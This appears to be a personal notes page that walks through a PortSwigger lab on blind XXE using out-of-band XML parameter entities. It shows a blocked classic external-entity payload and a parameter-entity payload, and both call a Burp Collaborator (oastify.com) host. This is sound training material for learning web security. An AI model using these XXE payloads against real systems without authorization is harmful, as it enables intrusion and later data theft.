> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/xxe/blind-xxe-with-out-of-band-parameter-entities.md).

# Blind XXE with Out-of-Band XML Parameter Entities

Blind XXE with Out-of-Band XML Parameter Entities notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.

### Blind XXE with Out-of-band Interaction via XML Parameter Entities

The Check stock feature of the lab analyzes XML entries. It **does not show** unexpected values and **locks** standard XML external entities on the server side.

\*\* Objective\*\*/ Exploit the XXE vulnerability blindly by forcing the XML parser to perform an external query (DNS / HTTP) to an OOB service (e.g. Burp Collaborator / Oastify) using a \*\* parameter entity\*\*.

1/) Classic external entity (locked)

Payload sent — a system entity referenced from an external URL, then called from `<productId>`:

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY myFile SYSTEM "https://h4m66g65x80x7bwj3ueflms990fr3hr6.oastify.com">]>
<stockCheck>
  <productId>
    &myFile;
  </productId>
  <storeId>
    1
  </storeId>
  </stockCheck>
```

**Observed result:** the server returns the error "Entities are not allowed for security reasons" — the declaration of conventional external entities is blocked.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0f2f6fb455bd2952545dc82325adfd98215127bc%2F%7B5613B489-FDD2-4751-9492-545DC89FAD97%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

2/) Attempt with parameter entity (OOB approach)

To bypass the blocking, we test the use of a \*\* parameter entity\*\* — the declaration uses `%` and then injects its contents into the DTD:

{% code overflow="wrap" %}

```xml
<!DOCTYPE foo [<!ENTITY % myFile SYSTEM "https://s70h9r9g0j38amzu65hqoxvkcbi36vuk.oastify.com"> %myFile;]>
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d6340f1962d20941892c2f1d09d5caf4cc12d953%2F%7B894A66A0-64BD-4859-8B93-FC91B2A90CEF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


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